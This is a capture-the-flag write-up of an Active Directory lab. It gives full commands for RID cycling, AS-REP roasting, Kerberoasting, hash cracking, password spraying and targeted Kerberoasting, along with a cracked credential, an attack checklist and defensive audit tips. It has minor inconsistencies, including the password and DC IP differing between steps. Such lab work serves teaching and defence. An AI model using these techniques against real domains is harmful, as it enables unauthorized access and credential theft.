

Operation Endgame

TryHackMe CTF Writeup & Learning Guide

Platform	TryHackMe
Room	Operation Endgame
Target OS	Windows Server 2019 (Active Directory)
Domain	thm.local
Difficulty	Medium
Attack Path	Recon → Kerberoast → Spray → Targeted Kerberoast → Pivot

Attack Chain at a Glance

Step	Technique	Tool	Result
1	Port scan	nmap	DC identified — thm.local, Windows Server 2019
2	Null SMB session + RID cycling	crackmapexec	492 valid domain usernames
3	AS-REP Roasting	GetNPUsers.py + hashcat	5 hashes captured — none cracked
4	Kerberoasting via guest account	NetExec (nxc)	TGS hash for CODY_ROY
5	Hash cracking	hashcat m13100	CODY_ROY : MKO)mko0
6	Password spray	kerbrute	ZACHARY_HUNT also uses MKO)mko0
7	Targeted Kerberoasting (GenericWrite to target)	GenericKerberoast.py	TGS hash for JERRI_LANCASTER

Phase 1 — Reconnaissance

1.1 Nmap Port Scan

We start with a service/version scan against the top 1000 ports, saving output to disk. The `-sC` flag runs nmap's default NSE scripts (banner grabbing, basic service fingerprinting), and `-sV` probes for version strings. This is typically enough for an initial picture before deciding whether to follow up with a full `-p-` scan.

```
nmap -sC -sV -oN initial_scan.txt 10.112.133.87
```

Key findings from the scan output:

Port	Service	Significance
53/tcp	DNS (Simple DNS Plus)	Confirms this is a DC — DCs run DNS for the domain
88/tcp	Kerberos	Allows username validation and ticket attacks without credentials
389/tcp	LDAP	Domain: thm.local — enables anonymous enumeration attempts
445/tcp	SMB	Null session and RID cycling possible even with signing enabled
3389/tcp	RDP	commonName=ad.thm.local — confirms hostname AD, domain thm.local

Tip: SMB signing is enabled (seen in the nmap output). This means you cannot perform SMB relay attacks — a common path on AD boxes. You'd need to find credentials another way.

Phase 2 — SMB Null Session & RID Cycling

2.1 Why null sessions matter

A null (unauthenticated) SMB session lets you interact with the `IPC$` share without credentials. This is a legacy compatibility feature that Microsoft has restricted over the years but never fully eliminated. Even when share enumeration is blocked, the SAMR (Security Account Manager Remote) protocol often still responds, allowing RID (Relative Identifier) brute-forcing — a technique that iterates through numeric RIDs to resolve them to account names.

2.2 Commands

```
# Check what shares are visible anonymously
smbclient -L //10.112.133.87/ -N

# Share enumeration via crackmapexec (failed — STATUS_ACCESS_DENIED)
crackmapexec smb 10.112.133.87 -u '' -p '' --shares

# RID cycling — resolves numeric SIDs to account names
crackmapexec smb 10.112.133.87 -u '' -p '' --rid-brute
```

The `--rid-brute` option works because Windows assigns domain objects RIDs sequentially. By iterating from ~500 upward, you resolve every SID to its username. Share enumeration failed

(STATUS_ACCESS_DENIED), but the SAMR RID brute succeeded — yielding 492 domain user accounts.

2.3 Extracting a clean username list

```
# Save the CME output to a file, then parse it
grep 'SidTypeUser' rid_output.txt \
  | awk -F'\\\\' '{print $2}' \
  | awk '{print $1}' > users.txt
sort -u users.txt -o users.txt
wc -l users.txt    # Should be ~490 accounts
```

Warning: Note the two unusual account patterns: some accounts are named like '74820323SA', '569434710SA' — these are likely service accounts. Pay attention to oddly named accounts; they sometimes have weaker passwords or interesting permissions.

Phase 3 — Kerberos Username Validation

3.1 Why validate usernames via Kerberos?

Kerberos pre-authentication error codes differ between 'user does not exist' (KDC_ERR_C_PRINCIPAL_UNKNOWN) and 'wrong password / pre-auth required' (KDC_ERR_PREAUTH_REQUIRED). This lets you silently validate usernames without triggering password-failure events — useful for initial enumeration and for confirming RID-cycling results. Kerbrute automates this.

```
/opt/kerbrute/kerbrute userenum -d thm.local \
--dc 10.112.133.87 userlist.txt
```

In this lab, kerbrute confirmed guest and administrator as valid — which proved important later, since the guest account was enabled with a blank password and could authenticate to request Kerberos service tickets.

Phase 4 — AS-REP Roasting (Attempted)

4.1 How AS-REP Roasting works

Kerberos normally requires a user to prove they know their password before the KDC issues a Ticket Granting Ticket (TGT). This is called pre-authentication. If an account has 'Do not require Kerberos preauthentication' set, the KDC will hand out a TGT encrypted with the user's password hash to anyone who asks — no credentials required. That encrypted blob can be captured and cracked offline.

```
# Request TGT blobs for every account in our list — no password needed
GetNPUsers.py thm.local/ -usersfile users.txt \
  -no-pass -dc-ip 10.112.133.87 \
  -format hashcat -outputfile asrep_hashes.txt

# Crack with hashcat (mode 18200 = AS-REP / krb5asrep)
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
```

Result: 5 accounts were AS-REP roastable (ISIAH_WALKER, MAXINE_FREEMAN, PHYLLIS_MCCOY, QUEEN_GARNER, SHELLEY_BEARD). However, none of their hashes cracked against rockyou.txt — even with best64 rules applied over ~1.4 billion candidates. This is a dead end for now; pivot to Kerberoasting instead.

Warning: Always try AS-REP roasting early — it needs zero credentials and sometimes yields quick wins. But don't get stuck on it. A failed crack doesn't mean the account is unimportant; it just means the password isn't in your wordlist.

Blue Team: Enable Kerberos pre-authentication on all accounts. It should almost never be disabled. Audit for it with: `Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth`

Phase 5 — Kerberoasting via Guest Account

5.1 AS-REP vs Kerberoasting — the key difference

	AS-REP Roasting	Kerberoasting
What it targets	Accounts with pre-auth disabled	Accounts with SPNs registered
Auth needed?	None — works unauthenticated	Any valid domain session (even guest)
Hash type	krb5asrep (mode 18200)	krb5tgs (mode 13100)
Encrypted with	User's password hash (TGT)	Service account's password hash (TGS)
Typical targets	Misconfigured user accounts	Service accounts running apps/services

5.2 Why the guest account unlocks Kerberoasting

Kerberoasting requires any authenticated domain session — even a completely unprivileged one. In this lab, the built-in guest account is enabled with a blank password. That gives us an authenticated LDAP session we can use to query for accounts with SPNs and request their service tickets, without needing to crack any password first. In production environments guest is almost always disabled; when it isn't, it's a serious misconfiguration.

```
# Kerberoast using the blank-password guest account
# nxc = NetExec (modern successor to CrackMapExec)
nxc ldap thm.local -u guest -p '' --kerberoasting kerberoast_output.txt
```

Result: One account with an SPN — CODY_ROY (member of Remote Desktop Users). The tool prints the TGS hash directly and saves it to the output file.

5.3 Cracking the TGS hash

```
# Mode 13100 = Kerberos 5 TGS-REP (NOT 18200 — that's for AS-REP)
hashcat -a0 -m13100 kerberoast_output.txt /usr/share/wordlists/rockyou.txt

# Result:
# CODY_ROY : MK0)mko0
```

Tip: If hashcat throws 'Not enough allocatable device memory', try adding `-O -w 1 --segment-size 32`. The `-O` flag uses an optimized (smaller footprint) kernel, and `--segment-size` loads the wordlist in smaller chunks — essential on VMs with limited RAM.

Blue Team: Regularly audit for accounts with SPNs: `Get-ADUser -Filter {ServicePrincipalName -ne '$null'} -Properties ServicePrincipalName`. Service accounts should use long randomly generated passwords (25+ chars), ideally managed via gMSA (Group Managed Service Accounts) which auto-rotate.

Phase 6 — Password Spray (Credential Reuse)

6.1 Password spraying vs brute-forcing

Password brute-forcing tries many passwords against one account — which triggers lockouts. Password spraying inverts this: try one (or a small handful of) password against many accounts. Since each account only sees one failed attempt, it stays well below lockout thresholds. It's one of the most reliable techniques in real AD engagements because password reuse across accounts is extremely common.

```
# Spray CODY_ROY's cracked password across all 492 domain users
# --continue-on-success keeps going after the first hit
/opt/kerbrute/kerbrute passwordspray \
  -d thm.local --dc 10.112.187.184 \
  users.txt 'MKO)mko0'
```

Result: ZACHARY_HUNT is also using MKO)mko0 — confirmed credential reuse. This account becomes the pivot point for the next phase.

Warning: Always check the domain's lockout policy before spraying: crackmapexec smb -u " -p " --pass-pol. If the threshold is 3 attempts, only spray once. Triggering mass lockouts is noisy, destructive, and will get you caught immediately.

Blue Team: Enforce a password uniqueness policy and use LAPS (Local Administrator Password Solution) to prevent credential reuse. Monitor for a single password appearing in multiple failed/successful logins across many accounts in a short window — this is the spray signature in SIEM logs.

Phase 7 — BloodHound Enumeration

7.1 What BloodHound does

BloodHound maps Active Directory relationships — group memberships, ACL edges (who can control which objects), session data, and delegation settings — into a graph database. It then finds attack paths from any starting node to Domain Admins using graph traversal. A human analyst might miss a 5-hop permission chain; BloodHound surfaces it instantly. `bloodhound-ce-python` is the Linux-based data collector for BloodHound Community Edition.

```
# Install the CE-compatible collector on Kali
sudo apt install bloodhound-ce-python

# Collect all data as CODY_ROY
bloodhound-ce-python -d thm.local \
  -u CODY_ROY -p 'MK0)mko0' \
  -ns 10.112.133.87 -c All --zip
```

Tip: If you get DNS/resolution errors, add the DC to `/etc/hosts` first: `echo '10.112.133.87 AD.thm.local thm.local AD' >> /etc/hosts`. BloodHound relies on LDAP and Kerberos name resolution, both of which need the DC's FQDN to resolve correctly.

Upload the resulting zip to the BloodHound CE web UI. Search for `ZACHARY_HUNT` and inspect the 'Outbound Object Control' panel — this reveals that `ZACHARY_HUNT` has `GenericWrite` over `JERRI_LANCASTER`, which is the permission we abuse in Phase 8.

Phase 8 — Targeted Kerberoasting via GenericWrite

8.1 What GenericWrite allows

`GenericWrite` on a user object lets you modify most of that object's attributes — including its `servicePrincipalName` (SPN) list. Normally you can only Kerberoast accounts that already have SPNs. But if you can write an SPN onto any account, you can force it into being Kerberoastable on demand. The attack flow is:

1. `ZACHARY_HUNT` has `GenericWrite` over `JERRI_LANCASTER`.
2. We write a fake SPN onto `JERRI_LANCASTER` (e.g. `http/fake.thm.local`).
3. We request a service ticket (TGS) for that SPN — the KDC encrypts it with `JERRI_LANCASTER`'s password hash.
4. We crack the TGS offline.
5. The tool automatically cleans up the SPN afterward.

8.2 Running `targetedKerberoast.py`

```
# Clone and install
cd ~
```

```
git clone https://github.com/ShutdownRepo/targetedKerberoast
cd targetedKerberoast
pip install -r requirements.txt --break-system-packages

# Attack – write SPN, request TGS, print hash, clean up
python3 targetedKerberoast.py \
  -d thm.local \
  -u zachary_hunt -p 'MK0)mko0' \
  --request-user jerri_lancaster \
  --dc-ip 10.112.187.184
```

The tool prints the TGS hash for JERRI_LANCASTER. Save it to a file and crack with hashcat:

```
# Save the hash to a file, then crack it
# (mode 13100 – same as regular Kerberoasting)
hashcat -a0 -m13100 jerri_lancaster.txt /usr/share/wordlists/rockyou.txt
```

Warning: Don't run targetedKerberoast from inside a non-writable directory like /opt/kerbrute. Always cd to your home directory first — git clone will fail if it can't write to the current working directory.

Blue Team: Audit GenericWrite (and GenericAll, WriteDACL, WriteOwner) ACL edges in BloodHound regularly. These are extremely powerful permissions that are often misconfigured. In PowerShell: `Get-ACL AD:CN=JERRI_LANCASTER,DC=thm,DC=local | select -expand Access | Where-Object {$_.ActiveDirectoryRights -match 'GenericWrite'}`.

Common Pitfalls & Lessons Learned

Wrong hash mode for the wrong attack

AS-REP hashes use mode 18200 (krb5asrep). Kerberoast (TGS) hashes use mode 13100 (krb5tgs). Mixing these up is an easy mistake when you're moving fast — the hash prefixes look similar. Check the \$krb5asrep\$ vs \$krb5tgs\$ prefix before running hashcat.

Running git clone from a read-only directory

If you're in a directory you don't own (like /opt/kerbrute), git clone and pip install will fail with permission errors. Always `cd ~` before cloning tools.

Treating AS-REP failure as a dead end

AS-REP roasting and Kerberoasting are independent techniques. Not cracking AS-REP hashes doesn't mean Kerberoasting is off the table — they attack completely different account properties. Always check both.

Not checking if guest is enabled early

The guest-enabled Kerberoasting path was unlocked from the very beginning of this lab. Checking guest/anonymous auth as a second step (right after null SMB) would have gotten us to CODY_ROY much faster. Add it to your AD checklist: `nxc smb target -u guest -p "" --shares`.

hashcat memory errors on VMs

Append `-O -w 1 --segment-size 32` when hashcat complains about allocatable memory. The optimized kernel trades max password length (capped at 32 chars) for a much smaller memory footprint, which is fine for most CTF passwords.

crackmapexec LDAP bug (NameError: smb_share_name)

Some Kali builds have a broken CME LDAP module. Use nxc (NetExec) instead — it's the direct successor project and has the same syntax. Install with: `sudo apt install netexec`.

AD Enumeration Checklist (No Creds)

Use this order on any AD box where you're starting unauthenticated:

1. `nmap -sC -sV -oN scan.txt` — identify DC hostname, domain, services
2. `smbclient -L /// -N` — check null session share listing
3. `crackmapexec smb -u '' -p '' --rid-brute` — enumerate domain users
4. `nxc smb -u guest -p '' --shares` — check if guest is enabled
5. `nxc ldap -u guest -p '' --kerberoasting out.txt` — if guest works, Kerberoast
6. `ldapsearch -x -H ldap:// -b 'DC=...' '(objectClass=user)' description` — check for plaintext creds in description fields
7. `GetNPUsers.py domain/ -usersfile users.txt -no-pass -dc-ip` — AS-REP roast

8. `kerbrute passwordspray -d domain --dc users.txt 'CommonPassword' -- spray after cracking anything`